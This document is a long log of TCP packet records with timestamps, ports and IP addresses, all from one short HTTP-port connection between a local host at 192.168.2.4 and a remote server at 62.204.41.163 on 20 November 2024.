Nov 20, 2024 07:48:22.115566969 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.115570068 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.115583897 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.115587950 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.115602970 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.115612984 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.115617990 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.115633011 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.115638971 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.115648031 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.115663052 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.115664959 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.115686893 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.115689993 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.115701914 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.115715027 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.115720034 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.115734100 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.115734100 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.115751028 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.115767002 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.115767956 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.115782022 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.115787029 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.115797043 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.115823030 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.115847111 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.115847111 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.115860939 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.115889072 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.115900040 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.115904093 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.115917921 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.115925074 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.115935087 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.115948915 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.115948915 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.115964890 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.115981102 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.115987062 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.115995884 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.116023064 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.116029978 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.116045952 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.116069078 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.116080999 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.116143942 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.116158962 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.116182089 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.116184950 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.116195917 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.116210938 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.116215944 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.116225958 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.116231918 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.116251945 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.116259098 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.116266966 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.116282940 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.116285086 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.116297007 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.116305113 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.116322994 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.116324902 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.116338015 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.116338968 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.116354942 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.116363049 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.116369963 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.116379023 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.116384983 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.116400003 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.116400003 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.116406918 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.116415977 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.116429090 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.116446018 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.116457939 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.116462946 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.116472960 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.116488934 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.116491079 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.116508007 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.116517067 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.116523027 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.116530895 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.116554976 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.116564989 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.116569042 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.116585970 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.116590977 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.116600990 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.116615057 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.116615057 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.116635084 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.116658926 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.117249966 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.117288113 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.117458105 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.117472887 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.117492914 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.117496967 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.117511034 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.117511988 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.117527008 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.117532969 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.117549896 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.117552042 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.117563963 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.117568016 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.117584944 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.117597103 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.117609024 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.117609978 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.117625952 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.117625952 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.117641926 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.117644072 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.117657900 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.117660999 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.117672920 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.117677927 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.117690086 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.117693901 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.117705107 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.117711067 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.117719889 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.117727041 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.117743015 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.117743969 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.117758989 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.117763042 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.117775917 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.117779016 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.117794037 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.117799044 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.117810011 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.117815971 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.117825985 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.117831945 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.117842913 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.117849112 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.117857933 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.117872000 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.117882013 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.117886066 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.117897987 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.117913961 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.117917061 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.117928982 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.117934942 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.117944956 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.117959023 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.117959976 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.117974997 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.117985010 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.117989063 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.118005037 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.118011951 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.118019104 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.118036985 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.118037939 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.118052006 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.118055105 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.118067980 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.118079901 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.118098021 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.118915081 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.118930101 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.118944883 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.118956089 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.118959904 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.118974924 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.118989944 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.118992090 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.119014025 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.119015932 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.119030952 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.119033098 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.119050026 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.119055986 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.119066954 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.119072914 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.119088888 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.119105101 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.203934908 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.203982115 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.203990936 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.203996897 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.204015970 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.204025984 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.204032898 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.204042912 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.204056978 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.204065084 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.204072952 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.204082966 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.204087019 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.204102039 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.204121113 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.204132080 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.204144955 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.204154968 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.204169989 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.204174995 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.204186916 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.204196930 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.204201937 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.204214096 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.204217911 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.204227924 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.204231024 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.204243898 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.204257965 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.204262972 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.204272985 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.204288006 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.204303980 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.204308033 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.204332113 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.204355001 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.204395056 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.204410076 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.204425097 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.204440117 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.204443932 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.204456091 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.204467058 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.204471111 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.204487085 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.204492092 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.204504013 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.204520941 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.204530001 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.204543114 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.204545975 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.204571962 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.204579115 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.204581976 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.204592943 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.204607010 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.204612017 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.204623938 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.204628944 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.204643965 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.204658031 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.204667091 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.204682112 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.204699993 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.204715967 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.204737902 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.204752922 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.204767942 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.204775095 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.204788923 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.204791069 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.204807997 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.204813957 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.204822063 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.204832077 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.204838037 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.204852104 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.204879999 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.204920053 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.204941034 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.204957008 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.204962015 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.204972029 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.204981089 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.204988003 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.204996109 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.205004930 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.205012083 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.205028057 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.205029964 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.205043077 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.205044985 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.205060959 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.205073118 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.205075026 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.205080032 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.205091000 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.205107927 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.205117941 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.205131054 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.205143929 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.205157042 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.205173016 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.205173016 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.205187082 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.205203056 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.205219030 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.205225945 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.205241919 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.205244064 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.205267906 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.205271959 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.205284119 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.205295086 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.205298901 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.205313921 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.205322981 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.205329895 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.205348969 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.205374002 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.205780983 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.205811024 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.205825090 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.205849886 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.205879927 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.205939054 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.205952883 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.205967903 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.205980062 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.205982924 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.206007957 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.206008911 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.206022024 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.206023932 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.206048965 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.206063032 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.206063032 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.206079006 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.206088066 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.206094027 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.206108093 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.206125975 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.206131935 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.206147909 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.206157923 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.206162930 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.206177950 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.206180096 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.206193924 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.206206083 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.206231117 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.206242085 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.206269026 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.206279039 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.206284046 CET	80	49753	62.204.41.163	192.168.2.4
